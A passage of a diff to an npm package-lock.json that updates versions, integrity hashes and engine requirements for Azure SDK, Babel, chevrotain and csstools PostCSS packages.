"https://registry.npmjs.org/@azure/core-util/-/core-util-1.13.1.tgz", + "integrity": "sha512-XPArKLzsvl0Hf0CaGyKHUyVgF7oDnhKoP85Xv6M4StF/1AhfORhZudHtOyf2s+FcbuQ9dPRAjB8J2KvRRMUK2A==", "license": "MIT", "dependencies": { - "@azure/abort-controller": "^2.0.0", + "@azure/abort-controller": "^2.1.2", + "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@azure/core-xml": { @@ -5867,36 +5178,6 @@ "node": ">=18.0.0" } }, - "node_modules/@azure/core-xml/node_modules/fast-xml-parser": { - "version": "5.0.9", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.0.9.tgz", - "integrity": "sha512-2mBwCiuW3ycKQQ6SOesSB8WeF+fIGb6I/GG5vU5/XEptwFFhp9PE8b9O7fbs2dpq9fXn4ULR3UsfydNUCntf5A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "strnum": "^2.0.5" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/@azure/core-xml/node_modules/strnum": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.0.5.tgz", - "integrity": "sha512-YAT3K/sgpCUxhxNMrrdhtod3jckkpYwH6JAuwmUdXZsmzH1wUyzTMrrK2wYCEEqlKwrWDd35NeuUkbBy/1iK+Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, "node_modules/@azure/identity": { "version": "4.8.0", "resolved": "https://registry.npmjs.org/@azure/identity/-/identity-4.8.0.tgz", @@ -5923,14 +5204,16 @@ } }, "node_modules/@azure/logger": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.0.4.tgz", - "integrity": "sha512-ustrPY8MryhloQj7OWGe+HrYx+aoiOxzbXTtgblbV3xwCqpzUK36phH3XNHQKj3EPonyFUuDTfR3qFhTEAuZEg==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.3.0.tgz", + "integrity": "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA==", + "license": "MIT", "dependencies": { - "tslib": "^2.2.0" + "@typespec/ts-http-runtime": "^0.3.0", + "tslib": "^2.6.2" }, "engines": { - "node": ">=14.0.0" + "node": ">=20.0.0" } }, "node_modules/@azure/msal-browser": { @@ -5997,27 +5280,48 @@ } }, "node_modules/@azure/storage-blob": { - "version": "12.27.0", - "resolved": "https://registry.npmjs.org/@azure/storage-blob/-/storage-blob-12.27.0.tgz", - "integrity": "sha512-IQjj9RIzAKatmNca3D6bT0qJ+Pkox1WZGOg2esJF2YLHb45pQKOwGPIAV+w3rfgkj7zV3RMxpn/c6iftzSOZJQ==", + "version": "12.30.0", + "resolved": "https://registry.npmjs.org/@azure/storage-blob/-/storage-blob-12.30.0.tgz", + "integrity": "sha512-peDCR8blSqhsAKDbpSP/o55S4sheNwSrblvCaHUZ5xUI73XA7ieUGGwrONgD/Fng0EoDe1VOa3fAQ7+WGB3Ocg==", "license": "MIT", "dependencies": { "@azure/abort-controller": "^2.1.2", - "@azure/core-auth": "^1.4.0", - "@azure/core-client": "^1.6.2", - "@azure/core-http-compat": "^2.0.0", + "@azure/core-auth": "^1.9.0", + "@azure/core-client": "^1.9.3", + "@azure/core-http-compat": "^2.2.0", "@azure/core-lro": "^2.2.0", - "@azure/core-paging": "^1.1.1", - "@azure/core-rest-pipeline": "^1.10.1", - "@azure/core-tracing": "^1.1.2", - "@azure/core-util": "^1.6.1", - "@azure/core-xml": "^1.4.3", - "@azure/logger": "^1.0.0", + "@azure/core-paging": "^1.6.2", + "@azure/core-rest-pipeline": "^1.19.1", + "@azure/core-tracing": "^1.2.0", + "@azure/core-util": "^1.11.0", + "@azure/core-xml": "^1.4.5", + "@azure/logger": "^1.1.4", + "@azure/storage-common": "^12.2.0", "events": "^3.0.0", - "tslib": "^2.2.0" + "tslib": "^2.8.1" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" + } + }, + "node_modules/@azure/storage-common": { + "version": "12.2.0", + "resolved": "https://registry.npmjs.org/@azure/storage-common/-/storage-common-12.2.0.tgz", + "integrity": "sha512-YZLxiJ3vBAAnFbG3TFuAMUlxZRexjQX5JDQxOkFGb6e2TpoxH3xyHI6idsMe/QrWtj41U/KoqBxlayzhS+LlwA==", + "license": "MIT", + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.9.0", + "@azure/core-http-compat": "^2.2.0", + "@azure/core-rest-pipeline": "^1.19.1", + "@azure/core-tracing": "^1.2.0", + "@azure/core-util": "^1.11.0", + "@azure/logger": "^1.1.4", + "events": "^3.3.0", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=20.0.0" } }, "node_modules/@babel/code-frame": { @@ -6035,9 +5339,9 @@ } }, "node_modules/@babel/compat-data": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", - "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==", + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", + "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", "license": "MIT", "engines": { "node": ">=6.9.0" @@ -7535,6 +6839,38 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", + "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", + "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, "node_modules/@babel/plugin-transform-react-pure-annotations": { "version": "7.23.3", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.23.3.tgz", @@ -8002,6 +7338,16 @@ "dev": true, "license": "MIT" }, + "node_modules/@borewit/text-codec": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.2.tgz", + "integrity": "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, "node_modules/@braintree/sanitize-url": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/@braintree/sanitize-url/-/sanitize-url-7.1.1.tgz", @@ -8015,54 +7361,42 @@ "license": "MIT" }, "node_modules/@chevrotain/cst-dts-gen": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/@chevrotain/cst-dts-gen/-/cst-dts-gen-11.0.3.tgz", - "integrity": "sha512-BvIKpRLeS/8UbfxXxgC33xOumsacaeCKAjAeLyOn7Pcp95HiRbrpl14S+9vaZLolnbssPIUuiUd8IvgkRyt6NQ==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/@chevrotain/cst-dts-gen/-/cst-dts-gen-11.1.2.tgz", + "integrity": "sha512-XTsjvDVB5nDZBQB8o0o/0ozNelQtn2KrUVteIHSlPd2VAV2utEb6JzyCJaJ8tGxACR4RiBNWy5uYUHX2eji88Q==", "license": "Apache-2.0", "dependencies": { - "@chevrotain/gast": "11.0.3", - "@chevrotain/types": "11.0.3", - "lodash-es": "4.17.21" + "@chevrotain/gast": "11.1.2", + "@chevrotain/types": "11.1.2", + "lodash-es": "4.17.23" } }, - "node_modules/@chevrotain/cst-dts-gen/node_modules/lodash-es": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", - "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==", - "license": "MIT" - }, "node_modules/@chevrotain/gast": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/@chevrotain/gast/-/gast-11.0.3.tgz", - "integrity": "sha512-+qNfcoNk70PyS/uxmj3li5NiECO+2YKZZQMbmjTqRI3Qchu8Hig/Q9vgkHpI3alNjr7M+a2St5pw5w5F6NL5/Q==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/@chevrotain/gast/-/gast-11.1.2.tgz", + "integrity": "sha512-Z9zfXR5jNZb1Hlsd/p+4XWeUFugrHirq36bKzPWDSIacV+GPSVXdk+ahVWZTwjhNwofAWg/sZg58fyucKSQx5g==", "license": "Apache-2.0", "dependencies": { - "@chevrotain/types": "11.0.3", - "lodash-es": "4.17.21" + "@chevrotain/types": "11.1.2", + "lodash-es": "4.17.23" } }, - "node_modules/@chevrotain/gast/node_modules/lodash-es": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", - "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==", - "license": "MIT" - }, "node_modules/@chevrotain/regexp-to-ast": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/@chevrotain/regexp-to-ast/-/regexp-to-ast-11.0.3.tgz", - "integrity": "sha512-1fMHaBZxLFvWI067AVbGJav1eRY7N8DDvYCTwGBiE/ytKBgP8azTdgyrKyWZ9Mfh09eHWb5PgTSO8wi7U824RA==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/@chevrotain/regexp-to-ast/-/regexp-to-ast-11.1.2.tgz", + "integrity": "sha512-nMU3Uj8naWer7xpZTYJdxbAs6RIv/dxYzkYU8GSwgUtcAAlzjcPfX1w+RKRcYG8POlzMeayOQ/znfwxEGo5ulw==", "license": "Apache-2.0" }, "node_modules/@chevrotain/types": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/@chevrotain/types/-/types-11.0.3.tgz", - "integrity": "sha512-gsiM3G8b58kZC2HaWR50gu6Y1440cHiJ+i3JUvcp/35JchYejb2+5MVeJK0iKThYpAa/P2PYFV4hoi44HD+aHQ==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/@chevrotain/types/-/types-11.1.2.tgz", + "integrity": "sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw==", "license": "Apache-2.0" }, "node_modules/@chevrotain/utils": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/@chevrotain/utils/-/utils-11.0.3.tgz", - "integrity": "sha512-YslZMgtJUyuMbZ+aKvfF3x1f5liK4mWNxghFRv7jqRR9C3R3fAOGTTKvxXDa2Y1s9zSbcpuO0cAxDYsc9SrXoQ==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/@chevrotain/utils/-/utils-11.1.2.tgz", + "integrity": "sha512-4mudFAQ6H+MqBTfqLmU7G1ZwRzCLfJEooL/fsF6rCX5eePMbGhoy5n4g+G4vlh2muDcsCTJtL+uKbOzWxs5LHA==", "license": "Apache-2.0" }, "node_modules/@codemirror/autocomplete": { @@ -8213,9 +7547,9 @@ } }, "node_modules/@csstools/cascade-layer-name-parser": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/@csstools/cascade-layer-name-parser/-/cascade-layer-name-parser-1.0.7.tgz", - "integrity": "sha512-9J4aMRJ7A2WRjaRLvsMeWrL69FmEuijtiW1XlK/sG+V0UJiHVYUyvj9mY4WAXfU/hGIiGOgL8e0jJcRyaZTjDQ==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@csstools/cascade-layer-name-parser/-/cascade-layer-name-parser-3.0.0.tgz", + "integrity": "sha512-/3iksyevwRfSJx5yH0RkcrcYXwuhMQx3Juqf40t97PeEy2/Mz2TItZ/z/216qpe4GgOyFBP8MKIwVvytzHmfIQ==", "dev": true, "funding": [ { @@ -8227,18 +7561,19 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { - "@csstools/css-parser-algorithms": "^2.5.0", - "@csstools/css-tokenizer": "^2.2.3" + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" } }, "node_modules/@csstools/color-helpers": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-4.0.0.tgz", - "integrity": "sha512-wjyXB22/h2OvxAr3jldPB7R7kjTUEzopvjitS8jWtyd8fN6xJ8vy1HnHu0ZNfEkqpBJgQ76Q+sBDshWcMvTa/w==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz", + "integrity": "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q==", "dev": true, "funding": [ { @@ -8250,14 +7585,15 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" } }, "node_modules/@csstools/css-calc": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-1.1.6.tgz", - "integrity": "sha512-YHPAuFg5iA4qZGzMzvrQwzkvJpesXXyIUyaONflQrjtHB+BcFFbgltJkIkb31dMGO4SE9iZFA4HYpdk7+hnYew==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.1.1.tgz", + "integrity": "sha512-HJ26Z/vmsZQqs/o3a6bgKslXGFAungXGbinULZO3eMsOyNJHeBBZfup5FiZInOghgoM4Hwnmw+OgbJCNg1wwUQ==", "dev": true, "funding": [ { @@ -8269,18 +7605,19 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { - "@csstools/css-parser-algorithms": "^2.5.0", - "@csstools/css-tokenizer": "^2.2.3" + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" } }, "node_modules/@csstools/css-color-parser": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-1.5.1.tgz", - "integrity": "sha512-x+SajGB2paGrTjPOUorGi8iCztF008YMKXTn+XzGVDBEIVJ/W1121pPerpneJYGOe1m6zWLPLnzOPaznmQxKFw==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.0.2.tgz", + "integrity": "sha512-0GEfbBLmTFf0dJlpsNU7zwxRIH0/BGEMuXLTCvFYxuL1tNhqzTbtnFICyJLTNK4a+RechKP75e7w42ClXSnJQw==", "dev": true, "funding": [ { @@ -8292,22 +7629,23 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "dependencies": { - "@csstools/color-helpers": "^4.0.0", - "@csstools/css-calc": "^1.1.6" + "@csstools/color-helpers": "^6.0.2", + "@csstools/css-calc": "^3.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { - "@csstools/css-parser-algorithms": "^2.5.0", - "@csstools/css-tokenizer": "^2.2.3" + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" } }, "node_modules/@csstools/css-parser-algorithms": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-2.5.0.tgz", - "integrity": "sha512-abypo6m9re3clXA00eu5syw+oaPHbJTPapu9C4pzNsJ4hdZDzushT50Zhu+iIYXgEe1CxnRMn7ngsbV+MLrlpQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz", + "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==", "dev": true, "funding": [ { @@ -8319,17 +7657,18 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { - "@csstools/css-tokenizer": "^2.2.3" + "@csstools/css-tokenizer": "^4.0.0" } }, "node_modules/@csstools/css-tokenizer": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-2.2.3.tgz", - "integrity": "sha512-pp//EvZ9dUmGuGtG1p+n17gTHEOqu9jO+FiCUjNN3BDmyhdA2Jq9QsVeR7K8/2QCK17HSsioPlTW9ZkzoWb3Lg==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz", + "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==", "dev": true, "funding": [ { @@ -8341,14 +7680,15 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" } }, "node_modules/@csstools/media-query-list-parser": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@csstools/media-query-list-parser/-/media-query-list-parser-2.1.7.tgz", - "integrity": "sha512-lHPKJDkPUECsyAvD60joYfDmp8UERYxHGkFfyLJFTVK/ERJe0sVlIFLXU5XFxdjNDTerp5L4KeaKG+Z5S94qxQ==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/media-query-list-parser/-/media-query-list-parser-5.0.0.tgz", + "integrity": "sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg==", "dev": true, "funding": [ { @@ -8360,38 +7700,49 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { - "@csstools/css-parser-algorithms": "^2.5.0", - "@csstools/css-tokenizer": "^2.2.3" + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" } }, - "node_modules/@csstools/postcss-cascade-layers": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-3.0.1.tgz", - "integrity": "sha512-dD8W98dOYNOH/yX4V4HXOhfCOnvVAg8TtsL+qCGNoKXuq5z2C/d026wGWgySgC8cajXXo/wNezS31Glj5GcqrA==", + "node_modules/@csstools/postcss-alpha-function": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@csstools/postcss-alpha-function/-/postcss-alpha-function-2.0.3.tgz", + "integrity": "sha512-8GqzD3JnfpKJSVxPIC0KadyAfB5VRzPZdv7XQ4zvK1q0ku+uHVUAS2N/IDavQkW40gkuUci64O0ea6QB/zgCSw==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "@csstools/selector-specificity": "^2.0.2", - "postcss-selector-parser": "^6.0.10" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, - "node_modules/@csstools/postcss-color-function": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-2.2.3.tgz", - "integrity": "sha512-b1ptNkr1UWP96EEHqKBWWaV5m/0hgYGctgA/RVZhONeP1L3T/8hwoqDm9bB23yVCfOgE9U93KI9j06+pEkJTvw==", + "node_modules/@csstools/postcss-cascade-layers": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-6.0.0.tgz", + "integrity": "sha512-WhsECqmrEZQGqaPlBA7JkmF/CJ2/+wetL4fkL9sOPccKd32PQ1qToFM6gqSI5rkpmYqubvbxjEJhyMTHYK0vZQ==", "dev": true, "funding": [ { @@ -8403,23 +7754,119 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-color-parser": "^1.2.0", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/postcss-progressive-custom-properties": "^2.3.0" + "@csstools/selector-specificity": "^6.0.0", + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-cascade-layers/node_modules/@csstools/selector-specificity": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz", + "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.1.1" + } + }, + "node_modules/@csstools/postcss-cascade-layers/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@csstools/postcss-color-function": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-5.0.2.tgz", + "integrity": "sha512-CjBdFemUFcAh3087MEJhZcO+QT1b8S75agysa1rU9TEC1YecznzwV+jpMxUc0JRBEV4ET2PjLssqmndR9IygeA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-color-function-display-p3-linear": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function-display-p3-linear/-/postcss-color-function-display-p3-linear-2.0.2.tgz", + "integrity": "sha512-TWUwSe1+2KdYGGWTx5LR4JQN07vKHAeSho+bGYRgow+9cs3dqgOqS1f/a1odiX30ESmZvwIudJ86wzeiDR6UGg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-color-mix-function": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@csstools/postcss-color-mix-function/-/postcss-color-mix-function-1.0.3.tgz", - "integrity": "sha512-QGXjGugTluqFZWzVf+S3wCiRiI0ukXlYqCi7OnpDotP/zaVTyl/aqZujLFzTOXy24BoWnu89frGMc79ohY5eog==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-color-mix-function/-/postcss-color-mix-function-4.0.2.tgz", + "integrity": "sha512-PFKQKswFqZrYKpajZsP4lhqjU/6+J5PTOWq1rKiFnniKsf4LgpGXrgHS/C6nn5Rc51LX0n4dWOWqY5ZN2i5IjA==", "dev": true, "funding": [ { @@ -8431,42 +7878,223 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-color-parser": "^1.2.0", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/postcss-progressive-custom-properties": "^2.3.0" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-color-mix-variadic-function-arguments": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-color-mix-variadic-function-arguments/-/postcss-color-mix-variadic-function-arguments-2.0.2.tgz", + "integrity": "sha512-zEchsghpDH/6SytyjKu9TIPm4hiiWcur102cENl54cyIwTZsa+2MBJl/vtyALZ+uQ17h27L4waD+0Ow96sgZow==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-content-alt-text": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-content-alt-text/-/postcss-content-alt-text-3.0.0.tgz", + "integrity": "sha512-OHa+4aCcrJtHpPWB3zptScHwpS1TUbeLR4uO0ntIz0Su/zw9SoWkVu+tDMSySSAsNtNSI3kut4fTliFwIsrHxA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-contrast-color-function": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-contrast-color-function/-/postcss-contrast-color-function-3.0.2.tgz", + "integrity": "sha512-fwOz/m+ytFPz4aIph2foQS9nEDOdOjYcN5bgwbGR2jGUV8mYaeD/EaTVMHTRb/zqB65y2qNwmcFcE6VQty69Pw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-exponential-functions": { + "version": 